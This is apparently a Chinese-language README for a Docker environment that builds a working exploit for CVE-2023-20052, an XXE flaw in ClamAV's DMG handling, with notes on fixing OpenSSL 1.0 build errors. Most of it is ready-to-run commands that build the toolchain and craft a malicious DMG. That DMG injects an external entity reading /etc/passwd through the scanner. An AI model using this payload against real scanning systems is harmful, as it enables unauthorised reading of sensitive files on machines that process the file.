
为 CVE-2023-20052(ClamAV XXE 漏洞)修复的 Docker 构建版本,实际可编译。
原始利用程序在现代系统上构建失败:
HMAC_CTX 结构体不完整类型错误dmg/filevault.c 编译阶段失败libssl1.0-dev(OpenSSL 1.0)libdmg-hfsplus 使用了已废弃的 OpenSSL 1.0 函数:
HMAC_CTX_init() / HMAC_CTX_cleanup()(在 OpenSSL 1.1+ 中移除)HMAC_CTX 结构体(在 OpenSSL 1.1+ 中为不透明类型)Ubuntu 18.04 是最后一个支持 OpenSSL 1.0 的 LTS 版本。
# 构建(耗时约 3-5 分钟)
docker build -t cve-2023-20052 .
# 运行
docker run -v $(pwd):/exploit -it cve-2023-20052 bash
# 创建利用 DMG
genisoimage -D -V "exploit" -no-pad -r -apple -o test.img .
dmg dmg test.img test.dmg
bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>|' -e 's/blkx/&xxe;/' test.dmg -o exploit.dmg
## 针对 CVE-2023-20052 (ClamAV XXE) 修复的 Docker 构建 - 解决 OpenSSL 3.0 编译错误。使用 Ubuntu 18.04 及 OpenSSL 1.0 以兼容 libdmg-hfsplus